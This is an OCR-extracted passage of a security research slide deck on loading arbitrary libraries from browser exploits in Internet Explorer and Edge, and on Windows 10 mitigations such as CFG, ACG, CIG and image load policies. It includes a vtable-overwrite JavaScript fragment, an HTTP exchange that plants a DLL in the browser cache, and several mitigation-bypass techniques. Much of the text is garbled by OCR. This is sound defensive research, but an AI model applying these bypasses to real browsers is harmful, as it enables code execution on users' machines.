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Who am 1

Researcher of NSFOCUS Security Team
Focus on Exploit Detection and Prevention
Winner of Microsoft Mitigation Bypass Bounty: 2014-2017



Why talk about load library

It will be convenient in exploit if desired library can be load

Some mitigations are bypassed naturally
DEP
ACG

Some mitigations can be bypassed with the help of the library
CFG

No need to write shellcode in assembly



How to load arbitrary library

It is trivial once “read-write anywhere” is obtained

var arr = new Array();

var obj = GetObjAddress(arr);

var vitable = alloc(0x100);
Write(obj, vitable);

Write(vftable + Ox7c, LoadLibrary);
IpFileName in arr;



Where to load library from

The top choice i1s UNC paths
It still works In IE even on the latest Windows 10 release

exploit. dl1

gdid2 411 &DI Client DLL Microseft Corporation O '\Windeows'SysWOWEd'gdi32. 411
gdid2full. 411 &DI Client DLL Microseft Corporation O '\Windeows'SysWOWEd'\ gdi32full. 411
GdiFlus. 411 Microsoft &DI+ Microsoft Corporation OC:'\Windows'Win3x3'xBE microsoft. windows. sdiplu. ..

= :,:_‘..;P iexplore. exe 0. 03 11, 96 E 43 112 E 12576 Internet Explorer Microsoft Corporation Medium
:,:_‘..;? iexplore. exe 0. 01 20 BER E 44 796 E 13348 Internet Explorer Microsoft Corporation Low v
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Where to load library from

The top choice i1s UNC paths
It dose not work in Microsoft Edge

Microsoft
Edge




Mitigation in Windows 10 'THI1

Control Flow Guard - CFG

EnableControlFlowGuard
CFG is enabled for the process if this flag is set. This field cannot be changed via SetProcessMitigationPolicy.

EnableExportSuppression
If TRUE, exported functions will be treated as invalid indirect call targets by default. Exported functions only become wvalid
indirect call targets if they are dynamically resolved via GetProcAddress. This field cannot be changed via
SetProcessMitigationPolicy.

StrictMode
If TRUE, all DLLs that are loaded must enable CFG. If a DLL does not enable CFG then the image will fail to load. This
policy can be enabled after a process has started by calling SetProcessMitigationPolicy. It cannot be disabled once
enabled.



Mitigation in Windows 10 'TH1

Control Flow Guard - CFG
In TH1 only EnableControlFlowGuard is enabled

Process Nitigations: 4486 - C:\Windows'\Systemipps'Nicrosoft. NicrosoftEdze_ BwekybadSbbwe \MicrosoftEdgelP. exe

i nLE. Enabl eBottomllpFandomi zation True
ASLE, EnableForceRelacatelmazes True
ASLE. EnakbleHishEntropy True
ASLE. DisallowStrippedlmazes True
Handle. Fai: tionOnlnvalidHandl eReference True
Handl e. Haru ceptionsPermanentlvEnabled True
CFG, EnableControlFlowiaard True




Mitigation in Windows 10 'THI1

CFG did not mitigate load library related exploit
KERNELBASE!LoadLibraryW is always a valid target

0:018: = KERFNELEBASE!LoadLibraryW

gooo?ffd e6973990 KERENELBASE!|LoadLibrarvyW (<no parameter info:)

0:018» dvb poi(ntdll ! LdrSy=tenD]l]lInitBlock+0=xb0 ) + (KERENELBASE!LoadLibrarvyW >: 9) = 8 18
76543210 76543210 Teb4a3210 7eL43210

QoO0O7E£5° £7075c20 00001000 00100000 OO00O0QQOO OoO0oOoooo 08 20 00 00
aoo07f£5° £7075ce4 00000000 0OOOQOOOO1 EIEIlEIEI goooooono o0 01 24 00
0:018: 7 (KERHELBASE!LoadLibrarvW »: 33 &

Evaluate expres=sion: 50 = 000000007 00000032




Mitigation in Windows 10 'THI1

AppContainer Isolation

File Isolation

Controlling file and registry access, the AppContainer environment prevents the application from maodifying files that it should
not. Read-write access can be granted to specific persistent files and registry keys. Read-only access is less restricted. An
application always has access to the memory resident files created specifically for that AppContainer.

Network Isolation

lsolating the application from network resources beyond those specifically allocated, AppContainer prevents the application
from 'escaping’ its environment and maliciously exploiting network resources. Granular access can be granted for Internet
access, Intranet access, and acting as a server.

Process Isolation

Sandboxing the application kernel objects, the AppContainer environment prevents the application from influencing, or being
influenced by, other application processes. This prevents a properly contained application from corrupting other processes in
the event of an exception.



Mitigation in Windows 10 'THI1

How Network Isolation works

LdrLoadDll

LdrpLoadDll

LdrpLoadDllInternal

LdrpFastpthReloadedDlI LdrpProcessWork

LdrpMapDIIFullPath

LdrpResolveDIlIName LdrpMapDIINtFileName

LdrpGetNtPathFromDosPath

|
T
0xC0000201 STATUS NETWORK OPEN_RESTRICTION



Mitigation in Windows 10 'THI1

nt!NtQueryAttrib
utesFile

rdbss!RxCommo
nDevFCBIloCtl

rdbss!RxPrefixCl
aim

nt!ObOpenObje
ctByNameEx

rdbss!RxFsdCom
monDispatch

rdbss!RxFindOrC
onstructVirtualN
etRootWithRetry

How Network Isolation works

nt!ObpLookupO
bjectName

rdbss!RxFsdDisp
atch

rdbss!RxFindOrC
onstructVirtualN
etRoot

nt!lopParseDevic
e

mrxsmb!MRxSm
bFsdDispatch

rdbss!RxCheckF
orNetworkOpen
Restrictions

nt!lofCallDriver




Mitigation in Windows 10 'THI1

How Network Isolation works

= =] RwlCheck

unsigned int status; //
int wS; S/
PDEVICE_OBJECT ve; //
signed _ inted v7; //

if ( *(_DWORD *)(*( QWORD *)(al + @x58) + Ox150i64) & @x800 || !'*{ EYTE *)(al + @x30@) || *( BYTE *)(al + @x3el) )

= @xCoaaa2el;
= WPP_GLOBAL Controlj;
if ( WPP_GLOBAL Control != (PDEVICE OBJECT)&WPP_GLOBAL Control
&% HIDWORD(WPP GLOBAL Control->Timer) & 1
&& BYTEL(WPP_GLOBAL Control-»>Timer) »>= 1lu )

1
= 11i64;
LABEL 34:
WPP_SF_gd({ve-»AttachedDevice, » BWPP_d3afdee396bl36cla3ifd3ef531968497 Traceguids, » BwCeaae2el);
return H

h
¥

return H

b



Exploit in Windows 10 'TH1

Deliver arbitrary file to local
Microsoft Edge will cache web content

| |+ = | 74B212HO -

“ Home Share View

« « P « AC » ZF00 » MicrosoftEdge *» Cache » T4B2IZHD v | Search 74B212HO
# Quick access Mame Date Type Size Tags
. & cn_searchbt_hp[1]...  10/24/2017 500 PM PMG File | KB
@ Onelrive - i o o
fld2eb5al1]s 10/24/2017 5:00 PM JavaScript File | KB
& This PC HpbHeaderPopup(... 1072472017 5:00 PM JavaScript File 5KB
2| life[1].htm 10/24/2017 5:00 PM HTM File 22 KB
oF Metwerk = - P ; B
2| render[1].htm 10/24/72017 500 PM HTM File 0 KB
| th[1]jpg 6/8/2016 10:35 PM JPG File 117 KB
| th[1].png 10/24,/2017 5:00 PM PMG File | KB

Titerns 1 itemn selected 0 bytes




Exploit in Windows 10 'TH1

Deliver arbitrary file to local
However, PE files only trigger download

@ exp.dll is not commonly downloaded and could harm your

Delete Run View downloads
computer.




Exploit in Windows 10 'TH1

Deliver arbitrary file to local
The action Is determined by HT TP Content-Type header

text/html => cache
application/x-msdownload => download



Exploit in Windows 10 'TH1

Deliver arbitrary file to local

Set Content-Type to text/html will make PE files be cac

GET /Demo/Loadlibrary/exp.dll HTTP/1.1 A
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=08.3

User-Agent: Mozilla/5.8 (Windows NT 18.8; Winbd; x64) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/
42.8.2311.135 Safari/537.36 Edge/12.18248

Accept-Encoding: gzip, deflate

Host: 192.168.232.1

Connection: Keep-Alive

HTTP/1.1 288 OK

Date: Tue, 24 Oct 2017 89:87:27 GMT

Server: Apache/2.4.16 (Win32) PHP/5.6.31

Last-Modified: Mon, 25 Sep 20817 82:46:33 GMT

ETag: "7f288-559fa918a/bBa"

Accept-Ranges: bytes

Content-Length: 528784

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: text/html "

ned



Exploit in Windows 10 'TH1

Deliver arbitrary file to local
Set Content-Type to text/html will make PE files be cached

| = | 4WB0ZMRV - g x
“ Home Share View ﬂ
« v « AC » #0001 » Microsoftbdge * Cache » AWBIZMRY v O Search 4WE0ZMERY Fe

# Quick access Marme Date medified Type Size
. 2| exp[1].htm 10/24/2017 458 PM HTM File 509 KB
@ Onelrive — :
2| th1[1].htm 10/24/2017 4:58 PM HTM File 2 KB
& This PC
oF Metwerk
t 1 item selected 508 KB [E=




Exploit in Windows 10 'TH1

Deliver arbitrary file to local
LoadLibrary expect a .dll or .exe file but not mandatory

{pFileMame [in]
The name of the module. This can be either a library module (a .dll file) or an executable module (an .exe file). The name

specified is the file name of the module and is not related to the name stored in the library module itself, as specified by
the LIBRARY keyword in the module-definition (.def] file.

If the string specifies a full path, the function searches only that path for the module.

If the string specifies a relative path or a module name without a path, the function uses a standard search strategy to
find the module; for more information, see the Remarks.

If the function cannot find the module, the function fails. When specifying a path, be sure to use backslashes (), not
forward slashes (/). For more information about paths, see Naming a File or Directory.

If the string specifies a module name without a path and the file name extension is omitted, the function appends the
default library extension .dll to the module name. To prevent the function from appending .dll to the module name,
include a trailing point character () in the module name string.



Exploit in Windows 10 'TH1

Deliver arbitrary file to local
Where is the cached file

C:\Users\test\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache

| |+ = | Cache — O ot
“ Home Share View 9
« « P « AC » #0001 » MicrosoftBdge » Cache » v | Search Cache pel
# Quick access Marme Date medified Type Size
. AWB0ZMRY 10/24/2017 53:21 PM File folder
@ Onelrive
SWMNOCLML 1072472017 3:21 PM File folder
& This PC T4B212H0 10/24/2017 5:21 PM File folder
HKWPFE6A 1072472017 5:21 PM File folder
oF Metwerk ) _ ]
container.dat 9/18/2017 3:14 PM DAT File O KB
5 items |E| =




Exploit in Windows 10 'TH1

Deliver arbitrary file to local
Read the path from memory

ClFrameElement CMarkup CHtmlInfo cached file path



Mitigation in Windows 10 'TH2

Image Load Policy

MoRemotelmages
Set (0x1) to prevent the process from loading images from a remote device, such as a UNC share; otherwizse leave unset
(One).

MoLowMandatoryLabellmages
Set (0x1) to prevent the process from loading images that have a Low mandatory label, as written by low IL; otherwize
lzave unset (Ox0).

PreferSystem32images
Set (0x1) to search for images to load in the System32 subfolder of the folder in which Windows is installed first, then in
the application directory in the standard DLL search order; otherwise leave unset (0x0).



Mitigation in Windows 10 'TH2

Image Load Policy
In TH2 only NoRemoteImages IS enabled

AWindows Svstembdpps'Microsoft. MicrosoftEdee SBwelkvh3dSbbwe \NicrosoftEdzelF. exe
True
True
. Enab True
LSLE. Disall ges True
Handl e. Eail alidHandl eFeference True

Handl e. Hand ermatent]lvEnakl ec True
na 10 True

True

¢ o True
Imr'n-Lu 11'1 MNoFemnot n—-Imr'n- True




Mitigation in Windows 10 'TH2

How NoRemotelmages works

LdrLoadDll

LdrpLoadDll

LdrpLoadDllInternal

LdrpFastpthReloadedDlI LdrpProcessWork

LdrpMapDIIFullPath

LdrpResolveDIlIName LdrpMapDIINtFileName

LdrpGetNtPathFromDosPath

NtOpenFile LdrpMapDIIWithSectionHandle
I
\— NtQueryAttributesFile LdrpMinimalMapModule
L NtMapViewOfSection

0xC0000022 STATUS_ACCESS_DENIED



Mitigation in Windows 10 'TH2

How NoRemotelmages works

nt!NtMapViewOfSection nt!MiMapViewOfSection nt!MiMapViewOflmageSection nt!MiAllowlmageMap




Mitigation in Windows 10 'TH2

How NoRemotelmages works

RemotelmageFileObject | RemoteDataFileObject

itigationFlags = Process->MitigationFlags;
ProhibitRemoteImageMap = Process-»MitigationFlags & @x30000;
if ( (ProhibitRemoteImageMap || MitigationFlags & 6x100000) && ( QWORD)Section->ul.ControlArea & 3 )

1
=tw = &MITIGATION_AUDIT_PROHIBIT REMOTE_IMAGE MAP;  AuditProhibitRemotelmageMap
if ( ProhibitRemoteImageMap )
=tw = BMITIGATION ENFORCE _PROHIBIT_ REMOTE_IMAGE_MAP;
EtwpTimLogMitigationForProcess({1i64, (unsigned int){ProchibitRemoteImageMap != @) + 1, etw, Process 1;
if { ProhibitRemoteImageMap )
return @xCoaRAB22i64;



Mitigation in Windows 10 'TH2

Signature Policy - CIG

MicrosoftSignedOnly
Set (0x1) to prevent the process from loading images that are not signed by Microsoft: otherwise leave unset (0x0].

StoreSignedOnly
Set (0x1) to prevent the process from loading images that are not signed by the Windows Store; otherwise leave unset
(O],

MitigationOptin
Set (0x1) to prevent the process from loading images that are not signed by Microsoft, the Windows Store and the
Windows Hardware Quality Labs (WHQL); otherwise leave unset (0x0).



Mitigation in Windows 10 'TH2

How CIG works

I

- CTEYRONE  C+C000428 STATUS INVALID IMAGE. HASH gy ey
B Ve vOisecion —




Mitigation in Windows 10 'TH2

How CIG works

nt!MiCreatelmageOr

nt!MiCreat tion ‘
CreateSectio DataSection

nt!NtCreateSection nt!MmCreateSection

nt!MiValidateSectionS nt!MiCreateNewSecti
igningPolicy on

nt!SeValidatelmageH nt!MiValidateSection
eader Create

ClICiValidatelmageHe Cl!CipValidatelmageH
ader ash

Cl!CipValidateFileHas
h




Mitigation in Windows 10 'TH2

How CIG works

while { 1 )
{ :
U (*¢ CipCalculatelmageHash &4))( )3
1 .- £
break;
if [ *( + Bx288) =2 )
1
= (*(*( + Bx368) + @x7@i64))( )3
if | <8 )
goto LABEL_13;
¥
LOBYTE( Y= & BxETFFFFCT) == @;
= CipFindFileHash( + 433, ’ , » Bv32, 8v3d);
if l= BxCeaea22D )

goto LABEL_13;



Exploit in Windows 10 TH

Microsoft signed library can still be loaded
.net Native Image has a RWX .xdata section

+
+

[

struct IMWGE_DOS_HEADER dos_header
struct IMAGE HT HEADEES nt headers
struct IMAGE_SECTION _HEADER sections_tahle[4]
+ =truect IMAGE_SECTION _HEADER =ections_table[0O]
-} struct IM&GE_SECTION _HEADER sections_table[1]
+ BYTE Hame[5]
IWOED VirtualSize
IWOED Virtnalhddress
IWOED SirelfRawlata
DIWOED FointerToRawData
IWOED HonllsedPointerToRelocations
IWOED HonllsedPointerTolinemmbers
WORD WorllzedWumberOfRelocations
WORD HonUszedHumberOfLinenumbers
. [+ struct SECTION_FLAGS Characteristics
+ struect IMAGE_SECTION_HEADER =ections_table[Z]
+} struct IMAGE_SECTION _HEADER sections_table[3]
EYTE datasection[1331Z2]
struct section
EYTE textzection[465592]
EYTE relocsection[1535]
BYTE Overlay[16072]

Oh
8oL
138k
138k
1B0h
1BOh
188k
1BChH
1C0h
1C4h
1C8h
1CCh
100k
102k

. text 108h
.reloc Z00h
400h
3800k
3E00h
Fdooh
Fa00h




Mitigation in Windows 10 RSI1

Dynamic Code Policy - ACG

ProhibitDynamicCode
Set (0x1) to prevent the process from generating dynamic code or modifying existing executable code; otherwise leave
unset (0x0).

AllowThreadQptOut
Set (0x1) to allow threads to opt out of the restrictions on dynamic code generation by calling the SetThreadinformation
function with the Threadinformation parameter s2t to ThreadDynamicCodePolicy: otherwize leave unset (0x0). You
should not use the AllowThreadQptOut and ThreadDynamicCodePolicy settings together to provide strong security.
These settings are only intended to enable applications to adapt their code more easily for full dynamic code restrictions.

AllowRemoteDowngrade
Set (0x1) to allow non-AppContainer processes to modify all of the dynamic code settings for the calling process,
including relaxing dynamic code restrictions after they have been set.



Mitigation in Windows 10 RSI1

How ACG works

LdrLoadDll
LdrpLoadDll

LdrpLoadDllInternal

LdrpFastpthReloadedDlI LdrpProcessWork

LdrpMapDIIFullPath

LdrpResolveDIlIName LdrpMapDIINtFileName

LdrpGetNtPathFromDosPath

NtOpenFile LdrpMapDIIWithSectionHandle
I
\— NtQueryAttributesFile LdrpMinimalMapModule
L NtMapViewOfSection

0xC0000604 STATUS_DYNAMIC_CODE_BLOCKED



Mitigation in Windows 10 RSI1

How ACG works

nt!NtMapViewOfSection nt!MiMapViewOfSection




Mitigation in Windows 10 RSI1

How ACG works

DisableDynamicCode ThreadOptOut
if { CurrentPro ~eszsz->*MitigationFlags & @x188 && !(CurrentThread-»CrossThreadFlags & ex48088) )
¢ if ( Section->u.LongFlags & @x20 sl |mage
¢ LODWORD(AllocationType ) = (unsigned int)AllocationType & @xDFFFFFFF;
ilse if ( ProtectMaskForAccess & 2wip-Executable
i return MiArbitraryCodeBlocked(CurrentProcess);

t



Mitigation in Windows 10 RSI1

How ACG works

nt!NtMapViewOfSection nt!MiMapViewOfSection nt!MiMapViewOflmageSection




Mitigation in Windows 10 RSI1

How ACG works

= & [1];
if | == @xFFFFFFFFFFFFFFE@1i64
goto LABEL_17; )RWX

while ( ( -»u.LongFlags & @xE) < @xC )
1

if (! )
goto LABEL _17/;

}

-*NextSubsection;

= MiArbitraryCodeBlocked( 13
if >= 8 )

1

LABEL_17:



Exploit in Windows 10 RSI1

In RS1 ACG is enabled with AllowThreadOptOut

- T\ indos stembpps\Microsoft. NicrosoftEds levh we\MicrosoftEdgelF. exe
i True
True
True
True
True

True
ce True
True
True
True
True
True




Exploit in Windows 10 RSI1

Microsoft Edge will hook VirtualAlloc for ACG Lockdown

0:024: dg=s chakra! _imp Virtualdlloc 11
00007ffe 3022428 00007 ffc 2dediecl EShim=s!HS _ACGLockdownTelemetry: APIHool Virtualdlloc



Exploit in Windows 10 RSI1

ACG will be optout temporarily in the hook

__ints4  fastcall NS_ACGLockdownTelemetry::APTHook VirtualaAlloc(NS _ACGLockdownTelemetry *this,
1

__inte4 status; /S

const unsigned _ intle *wl1l; //

HANDLE currentThraed; //

const char *vw13; //

wil::details::inldiag3 *retaddr; //

int lockdown; //
LOBYTE ) = @;
LOBYTE( ) = @;
if & ax7e )
CACGLockdown: :Enable(& R 5 |H
= VirtualAlloc( , , , |H
if (! &8 GetlastError() == @x677 )

ReportACGLockdownTelemetryWiolation( V;



Exploit in Windows 10 RSI1

mf.dll will allocate a RWX page at initialization

BOOL _ stdcall D1lEntryPoint({HINSTANCE hinstDLL, __inte4 sub 138@4CDFC() _QWORD *sub_13884CEBG()
i 1 i
LPVOID w33 S/ rsi unsigned _ inted v@; [/ rax DWORD err; // edi
char *wa4; // rdi signed int wl; // ecx _QWORD *memz // ra APDST
DWORD vs; f/ ebo signed int w2; // eax
HINSTANCE v6; // rhr
int w7; // edi o8 = rdtsc();
LPVOID vo; // rbx *(Exmmword 1388342F8 + 1) = 9i6d;
void *wl@; S/ ro» gword 188854388 = v & BuJFFFFFFF; {
LPVOID w1l; // rho *Lxmmword_1888842F8 = sub_188B4CEBE(); if { !sub_18884CFCC((mem + B8858),
vold *vl2; // roo T ' ' i
VirtualFree(mem, @i64, @x3800u);
v3 = lpReserved; em = @i64;
4 = & ImageBase + dword_l58852348; b
5 = fdwReason; if ( mem )
v6 = hinstDLL; 1
if ( fdwReason == 1 && sub 18884CDFC() <« @ ) sub_ 138@4CF48 (mem);

em[8056] = @i64;
em[8857] = @i64;
memset(mem + 8863, B, @x3EFuird);
}
}
SetLastError{err);
return mem;

en) )



Mitigation in Windows 10 RS2

Dynamic Code Policy — ACG
In RSZ ACG IS enabled without AllowThreadOptOut

\Windows' Svstembppsilicrosoft. NicrosoftEdee SwekvbhadSbbwe \NicrosoftEdseCF. exe
True
True
True
True
True
True

e True

True

True

True

True

¢ ! True
Irru eload. IInFn-mn’rn-Irru g=1; True




Exploit in Windows 10 RS2

The system call functions in ntdll.dll are almost the same

A I |
3 Exported entry 254. NtContinue 3 Exported entry 43@8. NtQueryDefaultUILanguage "
; Exported entry 1636. ZwContinue ; Exported entry 1811. ZwQueryDefaultUILanguage
public ZwContinue public ZwQueryDefaultUILanguage

ZwContinue proc near ZwQueryDefaultUILanguage proc near

mov rle, rcx 3 NtContinue mov rlé, rcx 3 NtQueryDefaultUILanguage
mow eax, 4z2h mow eax, 43h

syscall ; Low latency system call syscall ; Low latency system call
retn retn

ZwContinue endp ZwQueryDefaultUILanguage endp




Exploit in Windows 10 RS2

The Syscall ID may change between versions

System Call Symbol

NtAcceptConnectPort

MNtAccessCheck

MNtAccessCheckAndAuditAlarm

MNtAccessCheckByType

NtAccessCheckByTypeAndAuditAlarm

NtAccessCheckByTypeResultList

Windows 7

(hide)

SPO

0x0060

0x0061

0x0026

0x0062

0x0056

0x0063

SP1

0x0060

0x0061

0x0026

0x0062

Ox0056

0x0063

Windows 8

(hide)

8.0

0x0061

0x0062

Ox0027

0x0063

Ox0057

Ox0064

8.1

0x0001

0x0062

0x0028

0x0063

0x0058

0x0064

1507

0x0002

0x0000

0x0029

0x0063

0x0059

0x0064

Windows 10

1511

0x0002

0x0000

0x0029

0x0063

Ox0059

Ox0064

(hide)

1607

0x0002

0x0000

0x0029

0x0063

0x0059

0x0064

1703

0x0002

0x0000

0x0029

0x0063

0x0059

0x0064

1709

0x0002

0x0000

Ox0029

0x0063

Ox0059

Ox0064



Exploit in Windows 10 RS2

LLoad an old version of ntdll.dll to get a valid NtContinue

T FEE | I
; Exported entry 43@. NtQueryDefaultUILanguage “ ; Exported entry 262. NtContinue
; Exported entry 1811. ZwQueryDefaultUILanguage ; Exported entry 1731. ZwContinue
public ZwQueryDefaultUILanguage public ZwContinue
ZwQueryDefaultUILanguage proc near ZwContinue proc near
mov rle, rcx ; NtQueryDefaultUILanguage mov rleé, rcx ; NtContinue
mow eax, 43h mow eax, 43h
syscall ; Low latency system call test byte ptr ds:7FFE@388h, 1
retn jnz short loc 188@ASCLS
ZwQueryDefaultUILanguage endp ™
= P "
I ) b2 ] [
ntdll.dIl version 6.3.9600.17936 = | e
sysca
retn loc_18@8A5C1S: ; D05 24+ internal - EXECUTE COMMAND
int 2Eh 3 D5:5I -» counted CR-terminated command string

retn
ZwContinue endp

ntdll.dll version 10.0.15063.0



Mitigation in Windows 10 RS

Image Load Policy
In RS3 NoLowMandatoryLabellmages is enabled

rocess Nitizations: 6212 - C:\Windows'\Systemipps'\Nicrosoft. NicrosoftEdge BwekvbadSbbwe \NicrosoftEdgelP. exe
True
True
True
True
True
True
True
True
True
True
True
True
True
True

CIG. 5t A0l v
I Mitis onJptln True
Imageload. HoFemotelmazes True
Imageload. NoLowlandatorvLabel Imazes True




Mitigation in Windows 10 RS

How NoLowMandatorylLabellmages works

LdrLoadDll
LdrpLoadDll

LdrpLoadDllInternal

LdrpFastpthReloadedDlI LdrpProcessWork

LdrpMapDIIFullPath

LdrpResolveDIlIName LdrpMapDIINtFileName

LdrpGetNtPathFromDosPath

NtOpenFile LdrpMapDIIWithSectionHandle
I
\— NtQueryAttributesFile LdrpMinimalMapModule
L NtMapViewOfSection

0xC0000022 STATUS_ACCESS_DENIED



Mitigation in Windows 10 RS

How NoLowMandatorylLabellmages works

nt!NtMapViewOfSection nt!MiMapViewOfSection nt!MiMapViewOflmageSection nt!MiAllowlmageMap




Mitigation in Windows 10 RS

How NolLowMandatorylLabellmages works

= £ @x400000 ;
= & 9x200000;

if ( Ny )

a;
MiReferenceControlAreaFile( |H

= ObpGetObjectSecurity( s & , & |
if ( % 0x30000000) != @ )
1

}

else
1
if ({ SeQueryMandatorylabel( )} <= Bxleed && !SeGetTrustlLabelAce( 1)
= @xlBoaap2a;
ObReleasedbjectSecurity( ’ |H
}
if == Bx{B2aa822 )
1
EtwTimLogProhibitLowILImageMap({unsigned int}( I=8) + 1, , + B8);
if (!

}

MiDereferenceControlAreaFile( » |H

¥

= BxlCooaaa22;

=ai



Mitigation in Windows 10 RS

How NolLowMandatorylLabellmages works

Advanced Security Settings for ntdli[1].htm O ot
Mame: ChUsershtesthAppDatatLocalhPackages\Microsoft. MicroseftEdge_Swelyb3d2bbwe\ ACEIDDT\MicrosoftEdge\ Cache\ 706,
Chwiner: test (DESKTOP-1RBDMES test) E;J Change

Integrity level:  Low Mandatory Level

Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit {if available).

Permission entries;

Type Principal Access Inherited from
Allow  Account Unknown(5-1-13-2-3624051433-21...  Full control ChUsershtest\AppDatatLocal\Packages\Mic...
Allow  Account Unknown(5-1-13-2-3624051433-21...  Full contraol Ch\Usershtest\ AppDatatLocal\Packages\Mic...
82 Allow  SYSTEM Full control ChUserstesth,
SR Allow  Administrators (DESKTOP-1REDMES\Admi...  Full control ChUserstesth,
a Allow  test (DESKTOP-1REOPES\test) Full control Ch\Uszerstest',
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In RS3 CFG StrictMode is still not enabled
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CFG unenlightened library can still be loaded

0:017: dg le{ntdll|LdrSyStelelInltElD:k+DHbD} +

oooo?ffs"
oooo7ffs”

ooooyiEs”
oooo07fEs”
oooo?ffs"
ooooyEEs”
ooooyEEs”
oooo07fEs”

d=793=00
de?93c1
de?33c20
de?33c30
d=?93z40
de?33c510
de?933c6(
de?33c7?1

ffffffef”
i i o

FffffEff”
S
ffffffef”
FffffEff”
FffffEff”
S

Efffffff
Fffffffs
Fffffffs
Fffffffs
Efffffff
Fffffffs
Fffffffs
Fffffffs

Efffffff”

Ffffffff”
FfEffffff”
Ffffffff’
Efffffff”
FfEffffff”
FfEffffff”
Ffffffff’

tf

L I e T T W T T e

L B o T T o B T T e

[ B e T o B o ' o 2 o 2 o 2
L T e T o W W o o '
Lo I e T e T e e T o T e ' R |
Lo B e 2 o T o e T o O o ' o T o
Lo B e 2 o T o e T o O o ' o T o
Lo I e T e T e e T o T e ' R |

bOcfO000 »~ 410



5 &8 B 192.168.232. X 4w _ 5

“— ) @ (i) Search or enter web address < 7. =

304 PM

£ A T d)) ENG (07252017 ]







